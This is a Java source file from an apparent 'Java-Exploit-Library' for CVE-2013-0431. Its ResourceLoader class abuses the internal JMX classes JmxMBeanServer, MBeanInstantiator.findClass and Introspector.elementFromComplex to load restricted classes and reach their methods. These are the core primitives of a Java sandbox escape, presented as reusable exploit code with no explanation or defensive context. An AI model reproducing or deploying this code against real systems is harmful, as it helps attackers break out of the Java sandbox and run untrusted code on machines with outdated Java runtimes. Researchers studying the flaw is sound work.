/**
* Copyright (c) 2013-2014
*
* All rights reserved.
*
* THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS"
* AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
* IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
* ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE
* LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR
* CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF
* SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS
* INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN
* CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE)
* ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE
* POSSIBILITY OF SUCH DAMAGE.
*
* The Java-Exploit-Library is licensed under the Creative Commons
* Attribution-ShareAlike 4.0 International License.
*
* Please see the provided LICENSE.txt for a full copy of the agreement.
*/
package cve20130431;
import java.lang.reflect.Method;
import com.sun.jmx.mbeanserver.Introspector;
import com.sun.jmx.mbeanserver.JmxMBeanServer;
import com.sun.jmx.mbeanserver.MBeanInstantiator;
public class ResourceLoader {
public Class getClass(String name) {
try {
JmxMBeanServer server = (JmxMBeanServer) JmxMBeanServer.newMBeanServer("", null, null, true);
MBeanInstantiator inst = server.getMBeanInstantiator();
Class mbeanClass = Class.forName("com.sun.jmx.mbeanserver.MBeanInstantiator");
Method method = mbeanClass.getMethod("findClass", new Class[] { String.class, ClassLoader.class });
return (Class) method.invoke(inst, new Object[] { name, null });
} catch (Exception e) {
}
return null;
}
public Method getMethod(Class c, String name, boolean returnFast) {
try {
Method[] declaredMethods = (Method[]) Introspector.elementFromComplex(c, "declaredMethods");
for (Method m : declaredMethods) {
String declaredMethodName = m.getName();
Class[] parameterTypes = m.getParameterTypes();
// TODO: Match better on parameter types
if (declaredMethodName.equals(name) && (!returnFast || parameterTypes.length == 0))
return m;
}
} catch (Exception e) {
}
return null;
}
}